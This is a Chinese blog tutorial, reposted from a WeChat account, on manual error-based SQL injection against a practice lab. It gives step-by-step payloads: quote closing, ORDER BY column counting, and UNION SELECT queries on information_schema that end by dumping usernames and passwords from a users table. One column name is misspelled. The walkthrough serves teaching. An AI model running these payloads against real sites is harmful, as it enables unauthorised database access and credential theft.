浅谈基于报错的手工注入

admin 2022年3月10日18:57:53评论41 views字数 854阅读2分50秒阅读模式

浅谈基于报错的手工注入

实验环境:sqlli

1.首先提示,请输入ID作为参数和数值

浅谈基于报错的手工注入


2.构建id参数后,返回正常

浅谈基于报错的手工注入


3.输入转义符 ,得到报错信息  "1") LIMIT 0,1   (图片上引号内的为报错信息,所以这里去掉两个引号)

浅谈基于报错的手工注入

由此,我们可以得到大概的SQL语句为尝试闭合单引号,并注释之后的内容,输入1") --+ 

浅谈基于报错的手工注入

可以看到返回正常页面


4.在闭合后,输入order by 5 判断有几个字段,判断成功则会返回正常页面

浅谈基于报错的手工注入

5个字段报错,输入4,输入3 尝试

浅谈基于报错的手工注入

再输入order by 3 的时候,页面返回正常,说明有有三个字段

浅谈基于报错的手工注入


5.接下来使用union联合查询,查看哪些位置可以利用

首先将参数报错,id改为-1

其次构建语句 union select 1,2,3 (之前检测出3个字段)

浅谈基于报错的手工注入

返回2,3 说明2和3可以返回我们想要的值。

把2替换为database() 查看当前数据库,显示成功

浅谈基于报错的手工注入


6.接下来爆数据

首先是查找表名

输入 

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 


链接表,显示表名,从mysql数据库总表中,筛选条件 表名等于当前数据库名

显示出当前数据库中的所有表

浅谈基于报错的手工注入

我们继续读取users表中的信息

输入 

 union select 1,group_concat(column_name),3 from  information_schema.columns where table_name='users' --+


链接表,显示字段名 ,从mysql总表中,赛选出表名等于 users 的数据

浅谈基于报错的手工注入

接下来获取字段值,username和password的值

输入

union select 1,group_concat(username,0x3a,passowrd),3 from users --+


链接表 从用户表中读取数据,显示用户名密码用冒号进行分割

浅谈基于报错的手工注入

最后就得到了我们想要的信息。



本文始发于微信公众号(渗透云笔记):浅谈基于报错的手工注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月10日18:57:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈基于报错的手工注入http://cn-sec.com/archives/493894.html

发表评论

匿名网友 填写信息